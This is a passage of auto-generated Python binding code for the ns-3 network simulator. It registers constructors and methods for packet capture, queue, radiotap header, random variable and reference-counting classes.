## pcap-file-wrapper.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::PcapFileWrapper::Read(ns3::Time & t) [member function]
cls.add_method('Read',
'ns3::Ptr< ns3::Packet >',
[param('ns3::Time &', 't')])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetMagic() [member function]
cls.add_method('GetMagic',
'uint32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint16_t ns3::PcapFileWrapper::GetVersionMajor() [member function]
cls.add_method('GetVersionMajor',
'uint16_t',
[])
## pcap-file-wrapper.h (module 'network'): uint16_t ns3::PcapFileWrapper::GetVersionMinor() [member function]
cls.add_method('GetVersionMinor',
'uint16_t',
[])
## pcap-file-wrapper.h (module 'network'): int32_t ns3::PcapFileWrapper::GetTimeZoneOffset() [member function]
cls.add_method('GetTimeZoneOffset',
'int32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetSigFigs() [member function]
cls.add_method('GetSigFigs',
'uint32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetSnapLen() [member function]
cls.add_method('GetSnapLen',
'uint32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetDataLinkType() [member function]
cls.add_method('GetDataLinkType',
'uint32_t',
[])
return
def register_Ns3QueueBase_methods(root_module, cls):
## queue.h (module 'network'): ns3::QueueBase::QueueBase(ns3::QueueBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::QueueBase const &', 'arg0')])
## queue.h (module 'network'): ns3::QueueBase::QueueBase() [constructor]
cls.add_constructor([])
## queue.h (module 'network'): static void ns3::QueueBase::AppendItemTypeIfNotPresent(std::string & typeId, std::string const & itemType) [member function]
cls.add_method('AppendItemTypeIfNotPresent',
'void',
[param('std::string &', 'typeId'), param('std::string const &', 'itemType')],
is_static=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetMaxBytes() const [member function]
cls.add_method('GetMaxBytes',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetMaxPackets() const [member function]
cls.add_method('GetMaxPackets',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): ns3::QueueBase::QueueMode ns3::QueueBase::GetMode() const [member function]
cls.add_method('GetMode',
'ns3::QueueBase::QueueMode',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetNBytes() const [member function]
cls.add_method('GetNBytes',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetNPackets() const [member function]
cls.add_method('GetNPackets',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalDroppedBytes() const [member function]
cls.add_method('GetTotalDroppedBytes',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalDroppedBytesAfterDequeue() const [member function]
cls.add_method('GetTotalDroppedBytesAfterDequeue',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalDroppedBytesBeforeEnqueue() const [member function]
cls.add_method('GetTotalDroppedBytesBeforeEnqueue',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalDroppedPackets() const [member function]
cls.add_method('GetTotalDroppedPackets',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalDroppedPacketsAfterDequeue() const [member function]
cls.add_method('GetTotalDroppedPacketsAfterDequeue',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalDroppedPacketsBeforeEnqueue() const [member function]
cls.add_method('GetTotalDroppedPacketsBeforeEnqueue',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalReceivedBytes() const [member function]
cls.add_method('GetTotalReceivedBytes',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): uint32_t ns3::QueueBase::GetTotalReceivedPackets() const [member function]
cls.add_method('GetTotalReceivedPackets',
'uint32_t',
[],
is_const=True)
## queue.h (module 'network'): static ns3::TypeId ns3::QueueBase::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## queue.h (module 'network'): bool ns3::QueueBase::IsEmpty() const [member function]
cls.add_method('IsEmpty',
'bool',
[],
is_const=True)
## queue.h (module 'network'): void ns3::QueueBase::ResetStatistics() [member function]
cls.add_method('ResetStatistics',
'void',
[])
## queue.h (module 'network'): void ns3::QueueBase::SetMaxBytes(uint32_t maxBytes) [member function]
cls.add_method('SetMaxBytes',
'void',
[param('uint32_t', 'maxBytes')])
## queue.h (module 'network'): void ns3::QueueBase::SetMaxPackets(uint32_t maxPackets) [member function]
cls.add_method('SetMaxPackets',
'void',
[param('uint32_t', 'maxPackets')])
## queue.h (module 'network'): void ns3::QueueBase::SetMode(ns3::QueueBase::QueueMode mode) [member function]
cls.add_method('SetMode',
'void',
[param('ns3::QueueBase::QueueMode', 'mode')])
## queue.h (module 'network'): void ns3::QueueBase::DoNsLog(ns3::LogLevel const level, std::string str) const [member function]
cls.add_method('DoNsLog',
'void',
[param('ns3::LogLevel const', 'level'), param('std::string', 'str')],
is_const=True, visibility='protected')
return
def register_Ns3QueueLimits_methods(root_module, cls):
## queue-limits.h (module 'network'): ns3::QueueLimits::QueueLimits() [constructor]
cls.add_constructor([])
## queue-limits.h (module 'network'): ns3::QueueLimits::QueueLimits(ns3::QueueLimits const & arg0) [copy constructor]
cls.add_constructor([param('ns3::QueueLimits const &', 'arg0')])
## queue-limits.h (module 'network'): int32_t ns3::QueueLimits::Available() const [member function]
cls.add_method('Available',
'int32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## queue-limits.h (module 'network'): void ns3::QueueLimits::Completed(uint32_t count) [member function]
cls.add_method('Completed',
'void',
[param('uint32_t', 'count')],
is_pure_virtual=True, is_virtual=True)
## queue-limits.h (module 'network'): static ns3::TypeId ns3::QueueLimits::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## queue-limits.h (module 'network'): void ns3::QueueLimits::Queued(uint32_t count) [member function]
cls.add_method('Queued',
'void',
[param('uint32_t', 'count')],
is_pure_virtual=True, is_virtual=True)
## queue-limits.h (module 'network'): void ns3::QueueLimits::Reset() [member function]
cls.add_method('Reset',
'void',
[],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3RadiotapHeader_methods(root_module, cls):
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::RadiotapHeader(ns3::RadiotapHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::RadiotapHeader const &', 'arg0')])
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::RadiotapHeader() [constructor]
cls.add_constructor([])
## radiotap-header.h (module 'network'): uint32_t ns3::RadiotapHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## radiotap-header.h (module 'network'): uint16_t ns3::RadiotapHeader::GetAmpduStatusFlags() const [member function]
cls.add_method('GetAmpduStatusFlags',
'uint16_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint32_t ns3::RadiotapHeader::GetAmpduStatusRef() const [member function]
cls.add_method('GetAmpduStatusRef',
'uint32_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetAntennaNoisePower() const [member function]
cls.add_method('GetAntennaNoisePower',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetAntennaSignalPower() const [member function]
cls.add_method('GetAntennaSignalPower',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint16_t ns3::RadiotapHeader::GetChannelFlags() const [member function]
cls.add_method('GetChannelFlags',
'uint16_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint16_t ns3::RadiotapHeader::GetChannelFrequency() const [member function]
cls.add_method('GetChannelFrequency',
'uint16_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetFrameFlags() const [member function]
cls.add_method('GetFrameFlags',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): ns3::TypeId ns3::RadiotapHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetMcsFlags() const [member function]
cls.add_method('GetMcsFlags',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetMcsKnown() const [member function]
cls.add_method('GetMcsKnown',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetMcsRate() const [member function]
cls.add_method('GetMcsRate',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetRate() const [member function]
cls.add_method('GetRate',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint32_t ns3::RadiotapHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## radiotap-header.h (module 'network'): uint64_t ns3::RadiotapHeader::GetTsft() const [member function]
cls.add_method('GetTsft',
'uint64_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): static ns3::TypeId ns3::RadiotapHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtBandwidth() const [member function]
cls.add_method('GetVhtBandwidth',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtCoding() const [member function]
cls.add_method('GetVhtCoding',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtFlags() const [member function]
cls.add_method('GetVhtFlags',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtGroupId() const [member function]
cls.add_method('GetVhtGroupId',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint16_t ns3::RadiotapHeader::GetVhtKnown() const [member function]
cls.add_method('GetVhtKnown',
'uint16_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtMcsNssUser1() const [member function]
cls.add_method('GetVhtMcsNssUser1',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtMcsNssUser2() const [member function]
cls.add_method('GetVhtMcsNssUser2',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtMcsNssUser3() const [member function]
cls.add_method('GetVhtMcsNssUser3',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtMcsNssUser4() const [member function]
cls.add_method('GetVhtMcsNssUser4',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): uint8_t ns3::RadiotapHeader::GetVhtPartialAid() const [member function]
cls.add_method('GetVhtPartialAid',
'uint8_t',
[],
is_const=True)
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetAmpduStatus(uint32_t referenceNumber, uint16_t flags, uint8_t crc) [member function]
cls.add_method('SetAmpduStatus',
'void',
[param('uint32_t', 'referenceNumber'), param('uint16_t', 'flags'), param('uint8_t', 'crc')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetAntennaNoisePower(double noise) [member function]
cls.add_method('SetAntennaNoisePower',
'void',
[param('double', 'noise')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetAntennaSignalPower(double signal) [member function]
cls.add_method('SetAntennaSignalPower',
'void',
[param('double', 'signal')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetChannelFrequencyAndFlags(uint16_t frequency, uint16_t flags) [member function]
cls.add_method('SetChannelFrequencyAndFlags',
'void',
[param('uint16_t', 'frequency'), param('uint16_t', 'flags')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetFrameFlags(uint8_t flags) [member function]
cls.add_method('SetFrameFlags',
'void',
[param('uint8_t', 'flags')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetMcsFields(uint8_t known, uint8_t flags, uint8_t mcs) [member function]
cls.add_method('SetMcsFields',
'void',
[param('uint8_t', 'known'), param('uint8_t', 'flags'), param('uint8_t', 'mcs')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetRate(uint8_t rate) [member function]
cls.add_method('SetRate',
'void',
[param('uint8_t', 'rate')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetTsft(uint64_t tsft) [member function]
cls.add_method('SetTsft',
'void',
[param('uint64_t', 'tsft')])
## radiotap-header.h (module 'network'): void ns3::RadiotapHeader::SetVhtFields(uint16_t known, uint8_t flags, uint8_t bandwidth, uint8_t * mcs_nss, uint8_t coding, uint8_t group_id, uint16_t partial_aid) [member function]
cls.add_method('SetVhtFields',
'void',
[param('uint16_t', 'known'), param('uint8_t', 'flags'), param('uint8_t', 'bandwidth'), param('uint8_t *', 'mcs_nss'), param('uint8_t', 'coding'), param('uint8_t', 'group_id'), param('uint16_t', 'partial_aid')])
return
def register_Ns3RandomVariableStream_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::RandomVariableStream::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::RandomVariableStream::RandomVariableStream() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): void ns3::RandomVariableStream::SetStream(int64_t stream) [member function]
cls.add_method('SetStream',
'void',
[param('int64_t', 'stream')])
## random-variable-stream.h (module 'core'): int64_t ns3::RandomVariableStream::GetStream() const [member function]
cls.add_method('GetStream',
'int64_t',
[],
is_const=True)
## random-variable-stream.h (module 'core'): void ns3::RandomVariableStream::SetAntithetic(bool isAntithetic) [member function]
cls.add_method('SetAntithetic',
'void',
[param('bool', 'isAntithetic')])
## random-variable-stream.h (module 'core'): bool ns3::RandomVariableStream::IsAntithetic() const [member function]
cls.add_method('IsAntithetic',
'bool',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::RandomVariableStream::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_pure_virtual=True, is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::RandomVariableStream::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_pure_virtual=True, is_virtual=True)
## random-variable-stream.h (module 'core'): ns3::RngStream * ns3::RandomVariableStream::Peek() const [member function]
cls.add_method('Peek',
'ns3::RngStream *',
[],
is_const=True, visibility='protected')
return
def register_Ns3SeqTsHeader_methods(root_module, cls):
## seq-ts-header.h (module 'applications'): ns3::SeqTsHeader::SeqTsHeader(ns3::SeqTsHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SeqTsHeader const &', 'arg0')])
## seq-ts-header.h (module 'applications'): ns3::SeqTsHeader::SeqTsHeader() [constructor]
cls.add_constructor([])
## seq-ts-header.h (module 'applications'): uint32_t ns3::SeqTsHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## seq-ts-header.h (module 'applications'): ns3::TypeId ns3::SeqTsHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## seq-ts-header.h (module 'applications'): uint32_t ns3::SeqTsHeader::GetSeq() const [member function]
cls.add_method('GetSeq',
'uint32_t',
[],
is_const=True)
## seq-ts-header.h (module 'applications'): uint32_t ns3::SeqTsHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## seq-ts-header.h (module 'applications'): ns3::Time ns3::SeqTsHeader::GetTs() const [member function]
cls.add_method('GetTs',
'ns3::Time',
[],
is_const=True)
## seq-ts-header.h (module 'applications'): static ns3::TypeId ns3::SeqTsHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## seq-ts-header.h (module 'applications'): void ns3::SeqTsHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## seq-ts-header.h (module 'applications'): void ns3::SeqTsHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## seq-ts-header.h (module 'applications'): void ns3::SeqTsHeader::SetSeq(uint32_t seq) [member function]
cls.add_method('SetSeq',
'void',
[param('uint32_t', 'seq')])
return
def register_Ns3SequentialRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::SequentialRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::SequentialRandomVariable::SequentialRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::SequentialRandomVariable::GetMin() const [member function]
cls.add_method('GetMin',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::SequentialRandomVariable::GetMax() const [member function]
cls.add_method('GetMax',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): ns3::Ptr<ns3::RandomVariableStream> ns3::SequentialRandomVariable::GetIncrement() const [member function]
cls.add_method('GetIncrement',
'ns3::Ptr< ns3::RandomVariableStream >',
[],
is_const=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::SequentialRandomVariable::GetConsecutive() const [member function]
cls.add_method('GetConsecutive',
'uint32_t',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::SequentialRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::SequentialRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter< ns3::AttributeAccessor > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter< ns3::AttributeChecker > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter< ns3::AttributeValue > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount(ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter< ns3::CallbackImplBase > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount(ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter< ns3::EventImpl > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter< ns3::Hash::Implementation > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3NetDeviceQueue_Ns3Empty_Ns3DefaultDeleter__lt__ns3NetDeviceQueue__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >::SimpleRefCount(ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter< ns3::NetDeviceQueue > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount(ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter< ns3::NixVector > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount(ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter< ns3::OutputStreamWrapper > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter< ns3::Packet > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3PbbAddressBlock_Ns3Empty_Ns3DefaultDeleter__lt__ns3PbbAddressBlock__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> >::SimpleRefCount() [constructor]
cls.add_constructor([])
